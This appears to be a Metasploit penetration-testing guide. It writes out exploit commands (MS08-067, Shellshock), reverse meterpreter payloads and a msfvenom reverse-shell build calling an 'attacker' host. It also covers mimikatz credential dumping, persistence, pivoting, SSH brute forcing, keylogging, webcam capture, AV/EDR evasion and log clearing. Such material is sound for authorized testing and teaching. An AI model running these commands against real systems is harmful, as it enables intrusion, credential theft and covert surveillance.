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MetaSploit

The Metasploit Framework Masterclass: Professional Penetration Testing & Automation

Metasploit Framework is the most powerful and flexible open-source exploitation and post-exploitation toolkit available for security professionals, red teams, and bug bounty hunters. Its modularity covers every phase: reconnaissance, vulnerability identification, exploitation, privilege escalation, persistence, pivoting, evidence collection, and reporting.

I. Core Capabilities & Workflow

  • Module-Driven Exploitation: Thousands of modules—exploits, payloads, auxiliaries, post-exploitation, and encoders—covering Windows, Linux, web, IoT, and network devices.[1][2][3][4]

  • Integrated Workflow: Recon, scanning, exploitation, and post-exploitation in one framework with workspace/project management.[3][4]

  • Smart Payloads: Meterpreter, shell, stageless/staged, reverse/bind, HTTP/HTTPS, DNS payload options for advanced evasion and control.[1][3]

  • Automated & Custom Exploitation: Manual targeting or automated exploit campaigns, with customizable parameters for precision or mass exploitation.[5][6]

  • Post-Exploitation Modules: Privilege escalation, credential dumping, keystroke logging, evidence collection, memory forensics, data exfiltration, and network pivoting.[7]

  • Persistence & Lateral Movement: Persistence, route/socks proxies, pivoting to internal networks, and session management for multi-target operations.[7][1]

  • Powerful Scripting/API: Automate engagement workflows with msfconsole resource scripting, msfvenom (payload customization), and robust API for CI/CD or SOC integration.[3][1]

  • Collaboration/Reporting: Centralized reporting and proof-of-exploit artifacts for client delivery or bug bounty submission.[8][3]

  • Evasion & OpSec: Encoders, staged payloads, scriptless attacks, and bypass modules help evade EDR, AV, and blue teams.[2][9]

II. Professional Usage Examples

Scan, Exploit, and Pivot

msfconsole

  • Import Nmap results or scan directly:db_nmap -A target.com

  • Search for exploits:search type:exploit platform:windows name:ms08_067

  • Use an exploit:use exploit/windows/smb/ms08_067_netapi

  • Set options:set RHOSTS target.com

  • Choose payload:set PAYLOAD windows/meterpreter/reverse_tcp

  • Launch:run

Meterpreter Post-Exploitation

  • Privilege escalation:

    use post/windows/escalate/getsystem
run

  • Dump credentials:

    use post/windows/gather/credentials/mimikatz
run

  • Persistence:

    use post/windows/manage/persistence
run

  • Internal recon, pivot:

    use post/multi/manage/autoroute
set SESSION x
run

Scripting & Automation

  • Run automated resource script:

    msfconsole -r commands.rc

  • Build custom payload with msfvenom:

    msfvenom -p windows/meterpreter/reverse_https LHOST=attacker LPORT=443 -f exe > shell.exe

  • Execute batch exploit automation:

    use auxiliary/scanner/ssh/ssh_login
set USER_FILE users.txt
set PASS_FILE passwords.txt
set RHOSTS targets.txt
run

Reporting & Evidence

  • Screenshot, keystroke log, download files, webcam snap:

    screenshot
keyscan_start; keyscan_dump
download C:\\\\\\\\Users\\\\\\\\file.txt
webcam_snap

III. Advanced Workflow & Scenarios

  • Multi-Project Management: Organize targets, evidence, and reporting by project/workspace for parallel engagements.[1][3]

  • Automated Campaigns: Auto-exploit, multi-handler, and mass credential attack capability; integrate Nessus/OpenVAS output for validated risk mapping.[5][3]

  • Deep Post-Exploitation: 100+ post-modules covering system info, browser data, kernel and user-mode cred harvesting, lateral movement, and cloud access.[7]

  • Pivoting/Internal Routing: Use routing and SOCKS proxies to reach and exploit non-exposed targets in internal networks.[7]

  • Evasion and Anti-Forensics: Scriptless in-memory attacks, session migration, AV/EDR bypasses, clearing logs post-exploitation.

  • CI/CD and Integration: Use the Metasploit RPC API in build pipelines, cloud red teams, or bug bounty automation for continuous engagement.[10][1]

IV. Real-World Workflow Example

  1. Import Recon and Launch Exploitation

db_import nmap_results.xml
search type:exploit platform:linux
use exploit/linux/http/apache_mod_cgi_bash_env_exec
set RHOSTS target.com
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST attacker
run

  1. Privilege Escalation, Dumping, and Pivot

use post/multi/recon/local_exploit_suggester
set SESSION 1
run
use post/linux/gather/hashdump
run
use post/multi/manage/autoroute
run

  1. Automate Reporting

loot
report

V. Pro Tips & Best Practices

  • Always keep the framework and module set updated for access to the newest exploits.[2][1]

  • Use staged payloads for stealth and network evasion.

  • Validate and interpret post-exploitation output—false positives are possible.

  • Leverage session management and pivoting options for multi-host/AD attacks.

  • Prefer custom meterpreter payloads for interactive, evasive sessions.

  • Document everything—screenshot, loot, command logs, session history.

  • Respect client scope and authorization at all times.

This Metasploit guide empowers offensive security professionals to conduct professional, scalable, and high-credibility assessments across the entire kill chain, from initial recon to full compromise, privilege escalation, lateral movement, and reporting.[4][8][10][2][3][1][7]

Sources [1] Metasploit | Penetration Testing Software, Pen Testing ...https://www.metasploit.com [2] A step-by-step guide to the Metasploit Framework https://www.hackthebox.com/blog/metasploit-tutorial [3] Quick Start Guide | Metasploit Documentation https://docs.rapid7.com/metasploit/quick-start-guide/ [4] How To Use The Metasploit Framework For Penetration ... https://www.eccouncil.org/cybersecurity-exchange/penetration-testing/metasploit-framework-for-penetration-testing/ [5] Auto-Exploitation | Metasploit Documentation https://docs.rapid7.com/metasploit/auto-exploitation/ [6] Exploitation and Penetration Testing with Metasploit https://www.coursera.org/learn/exploitation-and-penetration-testing-with-metasploit [7] What Are the Post Exploitation Modules in Metasploit? Full ... https://www.webasha.com/blog/what-are-the-post-exploitation-modules-in-metasploit-full-list-of-top-100-options-with-examples [8] A New User's Guide to Metasploit Pro https://www.rapid7.com/globalassets/_pdfs/whitepaperguide/metasploit-101-n00bs-guide-to-metasploit.pdf [9] Exploitation and Post-exploitation with Metasploit https://www.pluralsight.com/courses/exploitation-post-exploitation-metasploit [10] Home | Metasploit Documentation Penetration Testing ... https://rapid7.github.io/metasploit-framework/

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